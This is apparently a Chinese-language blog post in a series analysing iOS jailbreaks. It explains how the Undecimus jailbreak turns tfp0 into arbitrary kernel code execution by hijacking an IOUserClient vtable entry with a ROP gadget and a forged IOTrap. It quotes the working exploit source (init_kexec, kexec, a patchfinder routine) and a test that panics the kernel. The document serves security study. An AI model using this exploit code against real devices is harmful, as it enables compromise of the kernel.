系列文章
- iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address
- iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !
- iOS Jailbreak Principles - Undecimus 分析(一)Escape from Sandbox
- iOS Jailbreak Principles - Undecimus 分析(二)通過 String XREF 定位核心資料
前言
在 上一篇文章 中我們介紹了基於 String 的交叉引用定位核心資料的方法,基於此我們可以定位變數和函式地址。本文將介紹結合tfp0、String XREF 定位和 IOTrap 實現核心任意程式碼執行的過程。一旦達成這個 Primitive,我們就能以 root 許可權執行核心函式,從而更好的控制核心。
kexec 概述
在 Undecimus 中,核心任意程式碼執行是通過 ROP Gadget 實現的。具體方法是劫持一個系統的函式指標,將其指向想要呼叫的函式,再按照被劫持處的函式指標原型準備引數,最後設法觸發系統對被劫持指標的呼叫。
找到可劫持的函式指標
要實現上述 ROP,一個關鍵是找到一個可在 Userland 觸發、易劫持的函式指標呼叫,另一個關鍵是該函式指標的原型最好支援可變引數個數,否則會對引數準備帶來麻煩。所幸在 IOKit 中系統提供了 IOTrap 機制正好滿足上述所有條件。
IOKit 為 userland 提供了 IOConnectTrapX 函式來觸發註冊到 IOUserClient 的 IOTrap,其中 X 代表的是引數個數,最大支援 6 個入參:
kern_return_t
IOConnectTrap6(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5,
uintptr_t p6 )
{
return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}
複製程式碼
userland 的呼叫在核心中對應 iokit_user_client_trap
函式,具體實現如下:
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
kern_return_t result = kIOReturnBadArgument;
IOUserClient *userClient;
if ((userClient = OSDynamicCast(IOUserClient,
iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) {
IOExternalTrap *trap;
IOService *target = NULL;
// find a trap
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
IOTrap func;
func = trap->func;
if (func) {
result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
}
}
iokit_remove_connect_reference(userClient);
}
return result;
}
複製程式碼
上述程式碼先將從 userland 傳入的 IOUserClient 控制程式碼轉換為核心物件,隨後從 userClient 上取出 IOTrap 執行對應的函式指標。因此只要劫持 getTargetAndTrapForIndex
並返回刻意構造的 IOTrap,即可篡改核心執行的 target->*func
;更為完美的是,函式的入參恰好是 userland 呼叫 IOConnectTrapX 的入參。
下面我們看一下 getTargetAndTrapForIndex
的實現:
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
IOExternalTrap *trap = getExternalTrapForIndex(index);
if (trap) {
*targetP = trap->object;
}
return trap;
}
複製程式碼
可見 IOTrap 是從 getExternalTrapForIndex
方法返回的,繼續跟進發現這是一個預設實現為空的函式:
IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
return NULL;
}
複製程式碼
可見此函式在父類上預設不實現,大概率是一個虛擬函式,下面看一下 IOUserClient 的 class 的宣告來驗證:
class IOUserClient : public IOService {
// ...
// Methods for accessing trap vector - old and new style
virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
// ...
};
複製程式碼
既然是虛擬函式,我們可以結合 tfp0 修改 userClient 物件的虛擬函式表,篡改 getExternalTrapForIndex
的虛擬函式指標指向我們的 ROP Gadget,並在這裡構造好 IOTrap 返回。
實現函式劫持
在 Undecimus 的原始碼中,getExternalTrapForIndex
的虛擬函式指標被指向了一個核心中已存在的指令區域:
add x0, x0, #0x40
ret
複製程式碼
這裡沒有手動構造指令,應該是考慮到構造一個可執行的頁成本較高,而複用一個已有的指令區域則非常簡單。下面我們分析一下這兩條指令的作用。
因為 getExternalTrapForIndex
是一個例項方法,它的 x0 是隱含引數 this,所以被劫持 getExternalTrapForIndex
的返回值為 this + 0x40,即我們要在 userClient + 0x40 處儲存一個刻意構造的 IOTrap 結構:
struct IOExternalTrap {
IOService * object;
IOTrap func;
};
複製程式碼
再回憶下 IOTrap 的執行過程:
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
IOTrap func;
func = trap->func;
if (func) {
result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
}
}
複製程式碼
這裡的 target 即 IOTrap 的 object 物件,它作為函式呼叫的隱含入參 this;而 func 即為被呼叫的函式指標。到這裡一切都明朗了起來:
- 將要執行的符號地址寫入 trap->func 即可執行任意函式;
- 將函式的第 0 個引數放置到 trap->object,第 1 ~ 6 個引數在呼叫 IOConnectTrap6 時傳入,即可實現可變入參傳遞。
kexec 程式碼實現
上述討論較為巨集觀,忽略了一些重要細節,下面將結合 Undecimus 原始碼進行詳細分析。
PAC 帶來的挑戰
自 iPhone XS 開始,蘋果在 ARM 處理器中擴充套件了一項稱之為 PAC(Pointer Authentication Code) 的技術,它將指標和返回地址使用特定的金鑰暫存器簽名,並在使用時驗籤。一旦驗籤失敗,將會解出一個無效地址引發 Crash,它為各種常見的定址指令增加了擴充套件指令[1]:
BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*
複製程式碼
這項技術給我們的 ROP 帶來了很大麻煩,在 Undecimus 中針對 PAC 做了一系列特殊處理,整個過程十分複雜,本文不再展開,將在接下來的文章中詳細介紹 PAC 緩解措施及其繞過方式。有興趣的讀者可以閱讀 [Examining Pointer Authentication on the iPhone XS](Examining Pointer Authentication on the iPhone XS) 來詳細瞭解。
虛擬函式劫持
我們知道 C++ 物件的虛擬函式表指標位於物件的起始地址,而虛擬函式表中按照偏移存放著例項方法的函式指標[2],因此我們只要確定了 getExternalTrapForIndex
方法的偏移量,再利用 tfp0 篡改虛擬函式指向的地址即可實現 ROP。
Undecimus 的相關原始碼位於 init_kexec 中,我們先忽略 arm64e 對 PAC 的處理,瞭解它的 vtable patch 方法,下面的程式碼包含了 9 個關鍵步驟,已給出關鍵註釋:
bool init_kexec()
{
#if __arm64e__
if (!parameters_init()) return false;
kernel_task_port = tfp0;
if (!MACH_PORT_VALID(kernel_task_port)) return false;
current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
if (!KERN_POINTER_VALID(current_task)) return false;
kernel_task = ReadKernel64(getoffset(kernel_task));
if (!KERN_POINTER_VALID(kernel_task)) return false;
if (!kernel_call_init()) return false;
#else
// 1. 建立一個 IOUserClient
user_client = prepare_user_client();
if (!MACH_PORT_VALID(user_client)) return false;
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
// 2. 獲取 IOUserClient 的核心地址,它是一個 ipc_port
IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
// 3. 從 ipc_port->kobject 獲取 IOUserClient 物件
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;
// 4. 虛擬函式指標位於 C++ 物件的起始地址
kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
// 5. 構造和拷貝虛擬函式表
fake_vtable = kmem_alloc(fake_kalloc_size);
if (!KERN_POINTER_VALID(fake_vtable)) return false;
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
}
// Create the fake user client
// 6. 構造一個 IOUserClient 物件,並拷貝核心中 IOUserClient 的內容到構造的物件
fake_client = kmem_alloc(fake_kalloc_size);
if (!KERN_POINTER_VALID(fake_client)) return false;
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
}
// Write our fake vtable into the fake user client
// 7. 將構造的虛擬函式表寫入構造的 IOUserClient 物件
WriteKernel64(fake_client, fake_vtable);
// Replace the user client with ours
// 8. 將構造的 IOUserClient 物件寫回 IOUserClient 對應的 ipc_port
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
// Now the userclient port we have will look into our fake user client rather than the old one
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
// 9. 將特定指令區域的地址寫入到虛擬函式表的第 183 個 Entity
// 它對應的是 getExternalTrapForIndex 的地址
WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));
#endif
pthread_mutex_init(&kexec_lock, NULL);
return true;
}
複製程式碼
此時我們已經修改了構造的 userClient 的 getExternalTrapForIndex
邏輯,接下來只需要對 userClient 呼叫 IOConnectTrap6 即可實現 ROP 攻擊,剩下的一個關鍵步驟是準備 IOTrap 作為 ROP Gadget 的返回值。
構造 IOTrap
由於 getExternalTrapForIndex
被指向瞭如下指令:
add x0, x0, #0x40
ret
複製程式碼
我們需要在 userClient + 0x40 處構造一個 IOTrap:
struct IOExternalTrap {
IOService * object;
IOTrap func;
};
複製程式碼
根據前面的討論,object 應當被賦予被呼叫函式的第 0 個引數地址,func 應當賦予被呼叫函式的地址,然後再將函式的第 1 ~ 6 個引數通過 IOConnectTrap 的 args 傳入。下面我們來看 Undecimus 中 kexec 的具體實現,筆者在其中補充了一些註釋:
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
kptr_t returnval = 0;
pthread_mutex_lock(&kexec_lock);
#if __arm64e__
returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
// through like normal.
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
// (i'm not actually sure if the switch back is necessary but meh)
// IOTrap starts at +0x40
// fake_client 即我們構造的 userClient
// 0ffx20 為 IOTrap->object,offx28 為 IOTrap->func,這裡是對原始值進行備份
kptr_t offx20 = ReadKernel64(fake_client + 0x40);
kptr_t offx28 = ReadKernel64(fake_client + 0x48);
// IOTrap->object = arg0
WriteKernel64(fake_client + 0x40, x0);
// IOTrap->func = func_ptr
WriteKernel64(fake_client + 0x48, ptr);
// x1~x6 為函式的第 1 ~ 6 個引數,第 0 個引數通過 trap->object 傳入
returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
// 這裡對原始值進行恢復
WriteKernel64(fake_client + 0x40, offx20);
WriteKernel64(fake_client + 0x48, offx28);
#endif
pthread_mutex_unlock(&kexec_lock);
return returnval;
}
複製程式碼
基於上述討論這段程式碼還是很好理解的,到這裡非 arm64e 架構下的核心任意程式碼執行原理就講解完了,有關 arm64e 的討論將在下一篇文章中繼續,下面我們用 kexec 做一個實驗來驗證 Primitive 的達成。
kexec 實驗
環境準備
請讀者開啟 Undecimus 原始碼的 jailbreak.m
,搜尋 _assert(init_kexec()
定位到初始化 kexec 的程式碼,向上翻可以發現 kexec 的初始化被放到了 ShenanigansPatch 和 setuid(0) 之後。ShenanigansPatch 是用來解決核心對 sandbox 化程式的 ucred 檢查而採取的繞過措施[3],它是通過 String XREF 定位和修改核心全域性變數實現的,有興趣的讀者可以自行閱讀 Shenanigans, Shenanigans! 來了解。
對於非 arm64e 裝置,似乎僅通過 tfp0 即可實現 kexec,這段處理應該是針對 arm64e 裝置繞過 PAC 所做的必要提權處理。
我們的實驗程式碼一定要放到 init_kexec
執行成功之後才行。
獲取一個核心函式的地址
在 Undecimus 中獲得了許多關鍵函式的地址,它們通過宣告一個名為 find_xxx 的匯出符號實現動態查詢和快取,需要注意的是,在 kexec 初始化後 kerneldump 已經被釋放,因此必須在初始化 kerneldump 時就計算好函式的地址。
我們先參考 Undecimus 是如何查詢和快取一個核心資料的,以 vnode_lookup 函式為例:
首先我們需要在 patchfinder64.h
中宣告一個名為 find_<symbol_name>
的函式,它返回被查詢符號的地址:
uint64_t find_vnode_lookup(void);
複製程式碼
隨後基於 String XREF 完成查詢的實現:
addr_t find_vnode_lookup(void) {
addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false);
if (!hfs_str) return 0;
hfs_str -= kerndumpbase;
addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
if (!call_to_stub) return 0;
return follow_stub(kernel, call_to_stub);
}
複製程式碼
隨後在 kerneldump 階段通過巨集函式 find_offset 完成查詢:
find_offset(vnode_lookup, NULL, true);
複製程式碼
上述巨集函式會動態呼叫 find_<symbol_name>
函式並將結果快取起來,隨後可通過 getoffset
巨集函式來獲取相應的偏移:
kptr_t const function = getoffset(vnode_lookup);
複製程式碼
這裡我們照貓畫虎的建立一個 panic 函式偏移:
uint64_t find_panic(void)
{
addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false);
if (!ref) {
return 0;
}
return ref + 0x4;
}
複製程式碼
這裡查詢的程式碼是位於 sandbox.kext 中的 panic 語句:
panic("\"shenanigans!\"");
複製程式碼
通過 String XREF 我們能定位到 panic 呼叫前的 add 指令,下一條指令一定是 bl _panic
,因此將查詢結果 + 4 即可得到核心中 panic 函式的地址。
呼叫核心函式
在上文中我們找到了 panic 函式的地址,這裡嘗試用一個自定義字串觸發一個 kernel panic,注意由於 SMAP 的存在,panic string 要從 userland 拷貝到 kernel:
// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));
複製程式碼
隨後執行 Undecimus,會發生 kernel panic,為了驗證我們成功呼叫了核心的 panic 函式,在 iPhone 上開啟設定頁,開啟 Privacy->Analytics->Analytics Data
,找到其中以 panic-full
開頭的最新日誌,如果試驗成功可以看到如下內容:
總結
本文詳細介紹了非 arm64e 架構下通過 tfp0 實現 kexec 的過程和原理,由此可以給讀者構造 ROP Gadget 帶來啟發。從下一篇文章開始,我們將分析 PAC 緩解措施及其繞過技巧。